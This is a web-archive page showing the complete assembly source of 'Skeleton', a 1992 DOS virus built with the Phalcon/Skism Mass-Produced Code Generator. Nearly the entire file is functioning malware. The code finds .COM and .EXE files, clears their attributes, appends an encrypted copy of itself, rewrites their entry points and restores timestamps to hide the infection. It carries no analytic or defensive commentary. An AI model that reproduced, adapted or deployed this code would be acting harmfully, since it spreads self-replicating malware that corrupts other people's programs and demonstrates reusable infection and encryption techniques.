home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SKELETON.ASM < prev    next >
Assembly Source File  |  1992-09-23  |  11KB  |  303 lines

  1. ; target.asm : [Skeleton] by Deke
  2. ; Created wik the Phalcon/Skism Mass-Produced Code Generator
  3. ; from the configuration file skeleton.cfg
  4.  
  5. .model tiny                             ; Handy directive
  6. .code                                   ; Virus code segment
  7.           org    100h                   ; COM file starting IP
  8.  
  9. id = 'DA'                               ; ID word for EXE infections
  10. entry_point: db 0e9h,0,0                ; jmp decrypt
  11.  
  12. startvirus:
  13. decrypt:                                ; handles encryption and decryption
  14. patch_startencrypt:
  15.           mov  bp,offset startencrypt   ; start of decryption
  16.           mov  ax,(offset heap - offset startencrypt)/2 ; iterations
  17. decrypt_loop:
  18.           db   2eh,81h,76h,0            ; xor word ptr cs:[bp], xxxx
  19. decrypt_value dw  0                     ; initialised at zero for null effect
  20.           inc  bp                       ; calculate new decryption location
  21.           inc  bp
  22.           dec  ax                       ; If we are not done, then
  23.           jnz  decrypt_loop             ; decrypt mo'
  24. startencrypt:
  25.           call next                     ; calculate delta offset
  26. next:     pop  bp                       ; bp = IP next
  27.           sub  bp,offset next           ; bp = delta offset
  28.  
  29.           cmp  sp,id                    ; COM or EXE?
  30.           je   restoreEXE
  31. restoreCOM:
  32.           lea  si,[bp+offset save3]
  33.           mov  di,100h
  34.           push di                       ; For later return
  35.           movsb
  36.           jmp  short restoreEXIT
  37. restoreEXE:
  38.           push ds
  39.           push es
  40.           push cs                       ; DS = CS
  41.           pop  ds
  42.           push cs                       ; ES = CS
  43.           pop  es
  44.           lea  si,[bp+offset oldCSIP2]
  45.           lea  di,[bp+offset oldCSIP]
  46.           movsw
  47.           movsw
  48.           movsw
  49. restoreEXIT:
  50.           movsw
  51.  
  52.           mov  byte ptr [bp+numinfec],3 ; reset infection counter
  53.  
  54.           mov  ah,1Ah                   ; Set new DTA
  55.           lea  dx,[bp+offset newDTA]    ; new DTA @ DS:DX
  56.           int  21h
  57.  
  58.           lea  dx,[bp+offset exe_mask]
  59.           call infect_mask
  60.           lea  dx,[bp+offset com_mask]
  61.           call infect_mask
  62.  
  63. done_infections:
  64.           mov  ah,1ah                   ; restore DTA to default
  65.           mov  dx,80h                   ; DTA in PSP
  66.           cmp  sp,id-4                  ; EXE or COM?
  67.           jz   returnEXE
  68. returnCOM:
  69.           int  21h
  70.           retn                          ; 100h is on stack
  71. returnEXE:
  72.           pop  es
  73.           pop  ds
  74.           int  21h
  75.           mov  ax,es                    ; AX = PSP segment
  76.           add  ax,10h                   ; Adjust for PSP
  77.           add  word ptr cs:[bp+oldCSIP+2],ax
  78.           add  ax,word ptr cs:[bp+oldSSSP+2]
  79.           cli                           ; Clear intrpts for stack manipulation
  80.           mov  sp,word ptr cs:[bp+oldSSSP]
  81.           mov  ss,ax
  82.           sti
  83.           db   0eah                     ; jmp ssss:oooo
  84. oldCSIP   db ?                          ; Original CS:IP (4 bytes)
  85. save3     db 0cdh,20h,0                 ; First 3 bytes of COM file
  86. oldSSSP   dd ?                          ; Original SS:SP
  87. oldCSIP2  dd ?
  88. oldSSSP2  dd ?
  89.  
  90. creator   db '[MPC]',0                  ; Mass Produced Code Generator
  91. virus     db '[Skeleton]',0
  92. author    db 'Deke',0
  93.  
  94. infect_mask:
  95.           mov  ah,4eh                   ; find first file
  96.           mov  cx,7                     ; any attribute
  97. findfirstnext:
  98.           int  21h                      ; DS:DX points to mask
  99.           jc   exit_infect_mask         ; No mo files found
  100.  
  101.           xor  cx,cx                    ; Clear attributes
  102.           call attributes               ; Set file attributes
  103.  
  104.           mov  ax,3d02h                 ; Open read/write
  105.           int  21h
  106.           xchg ax,bx
  107.  
  108.           mov  ah,3fh                   ; Read file to buffer
  109.           lea  dx,[bp+offset buffer]    ; @ DS:DX
  110.           mov  cx,1Ah                   ; 1Ah bytes
  111.           int  21h
  112.  
  113.           mov  ax,4202h                 ; Go to end of file
  114.           xor  cx,cx
  115.           cwd
  116.           int  21h
  117.  
  118.           cmp  word ptr [bp+buffer],'ZM'; EXE?
  119.           jz   checkEXE                 ; Why yes, yes it is!
  120. checkCOM:
  121.           mov  ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
  122.           cmp  ax,65535-(endheap-decrypt) ; Is it too large?
  123.           ja   find_next
  124.  
  125.           mov  cx,word ptr [bp+buffer+1]; get jmp location
  126.           add  cx,heap-startvirus+3     ; Adjust for virus size
  127.           cmp  ax,cx                    ; Already infected?
  128.           je   find_next
  129.           jmp  infect_com
  130. checkEXE:
  131.           cmp  word ptr [bp+buffer+10h],id ; is it already infected?
  132.           jnz  infect_exe
  133. done_file:
  134.           mov  ax,5701h                 ; Restore creation date/time
  135.           mov  cx,word ptr [bp+newDTA+16h] ; time
  136.           mov  dx,word ptr [bp+newDTA+18h] ; date
  137.           int  21h
  138.  
  139.           mov  ah,3eh                   ; Close file
  140.           int  21h
  141.  
  142.           mov  ch,0
  143.           mov  cl,byte ptr [bp+newDTA+15h] ; Restore original
  144.           call attributes               ; attributes
  145.  
  146.           cmp  byte ptr [bp+numinfec], 0; Enough infections?
  147.           jnz  find_next
  148.           pop  ax                       ; remove call from stack
  149.           jmp  done_infections
  150.  
  151. find_next:
  152.           mov  ah,4fh                   ; find next file
  153.           jmp  short findfirstnext
  154. exit_infect_mask: ret
  155.  
  156. infect_exe:
  157.           mov  cx, 1ah
  158.           push cx
  159.           push bx                       ; Save file handle
  160.           les  ax,dword ptr [bp+buffer+14h] ; Save old entry point
  161.           mov  word ptr [bp+oldCSIP2], ax
  162.           mov  word ptr [bp+oldCSIP2+2], es
  163.  
  164.           les  ax,dword ptr [bp+buffer+0Eh] ; Save old stack
  165.           mov  word ptr [bp+oldSSSP2],es
  166.           mov  word ptr [bp+oldSSSP2+2],ax
  167.  
  168.           mov  ax,word ptr [bp+buffer+8]; Get header size
  169.           mov  cl, 4                    ; convert to bytes
  170.           shl  ax, cl
  171.           xchg ax, bx
  172.  
  173.           les  ax,dword ptr [bp+newDTA+26] ; Get file size
  174.           mov  dx, es                   ; to DX:AX
  175.           push ax
  176.           push dx
  177.  
  178.           sub  ax, bx                   ; Subtract header size from
  179.           sbb  dx, 0                    ; file size
  180.  
  181.           mov  cx, 10h                  ; Convert to segment:offset
  182.           div  cx                       ; form
  183.  
  184.           mov  word ptr [bp+buffer+14h], dx ; New entry point
  185.           mov  word ptr [bp+buffer+16h], ax
  186.  
  187.           mov  word ptr [bp+buffer+0Eh], ax ; and stack
  188.           mov  word ptr [bp+buffer+10h], id
  189.  
  190.           pop  dx                       ; get file length
  191.           pop  ax
  192.           pop  bx                       ; Restore file handle
  193.  
  194.           add  ax, heap-startvirus      ; add virus size
  195.           adc  dx, 0
  196.  
  197.           mov  cl, 9
  198.           push ax
  199.           shr  ax, cl
  200.           ror  dx, cl
  201.           stc
  202.           adc  dx, ax
  203.           pop  ax
  204.           and  ah, 1                    ; mod 512
  205.  
  206.           mov  word ptr [bp+buffer+4], dx ; new file size
  207.           mov  word ptr [bp+buffer+2], ax
  208.  
  209.           push cs                       ; restore ES
  210.           pop  es
  211.  
  212.           mov  ax,word ptr [bp+buffer+14h] ; needed later
  213.           jmp  short finishinfection
  214. infect_com:                             ; ax = filesize
  215.           mov  cx,3
  216.           push cx
  217.           sub  ax,cx
  218.           lea  si,[bp+offset buffer]
  219.           lea  di,[bp+offset save3]
  220.           movsw
  221.           movsb
  222.           mov  byte ptr [si-3],0e9h
  223.           mov  word ptr [si-2],ax
  224.           add  ax,103h
  225. finishinfection:
  226.           add  ax,offset startencrypt-offset decrypt
  227.           push  ax
  228.  
  229.           mov  ah,2ch                   ; Get current time
  230.           int  21h                      ; dh=sec,dl=1/100 sec
  231.           mov  [bp+decrypt_value],dx    ; Set new encryption value
  232.           lea  di,[bp+offset codestore]
  233.           mov  al,55h                   ; push bp
  234.           stosb
  235.           lea  si,[bp+offset decrypt]   ; Copy encryption function
  236.           mov  cx,startencrypt-decrypt  ; Bytes to move
  237.           push si                       ; Save for later use
  238.           push cx
  239.           rep  movsb
  240.  
  241.           lea  si,[bp+offset write]     ; Copy writing function
  242.           mov  cx,endwrite-write        ; Bytes to move
  243.           rep  movsb
  244.           pop  cx
  245.           pop  si
  246.           pop  ax
  247.           push di
  248.           push si
  249.           push cx
  250.           rep  movsb                    ; Copy decryption function
  251.  
  252.           mov  word ptr [bp+patch_startencrypt+1],ax
  253.  
  254.           mov  al,5dh                   ; pop bx
  255.           stosb
  256.           mov  al,0c3h                  ; retn
  257.           stosb
  258.  
  259.           call codestore                ; decryption
  260.           pop  cx
  261.           pop  di
  262.           pop  si
  263.           rep  movsb                    ; Restore decryption function
  264.  
  265.           mov  ax,4200h                 ; Move file pointer
  266.           xor  cx,cx                    ; to beginning of file
  267.           cwd                           ; xor dx,dx
  268.           int  21h
  269.  
  270.           mov  ah,40h                   ; Write to file
  271.           lea  dx,[bp+offset buffer]    ; Write from buffer
  272.           pop  cx                       ; cx bytes
  273.           int  21h
  274.  
  275.           dec  byte ptr [bp+numinfec]   ; One mo infection
  276.           jmp  done_file
  277.  
  278. attributes:
  279.           mov  ax,4301h                 ; Set attributes to cx
  280.           lea  dx,[bp+offset newDTA+30] ; filename in DTA
  281.           int  21h
  282.           ret
  283.  
  284. write:
  285.           pop  bp                       ; Restore relativeness
  286.           mov  ah,40h                   ; Write to file
  287.           lea  dx,[bp+offset decrypt]   ; Concatenate virus
  288.           mov  cx,heap-decrypt          ; # bytes to write
  289.           int  21h
  290.           push bp
  291. endwrite:
  292.  
  293. exe_mask  db '*.exe',0
  294. com_mask  db '*.com',0
  295. heap:                                   ; Variables not in code
  296. ; The following code is the buffer for the write function
  297. codestore:db (startencrypt-decrypt)*2+(endwrite-write)+3 dup (?)
  298. newDTA    db 43 dup (?)                 ; Temporary DTA
  299. numinfec  db ?                          ; Infections this run
  300. buffer    db 1ah dup (?)                ; read buffer
  301. endheap:                                ; End of virus
  302. end       entry_point
  303.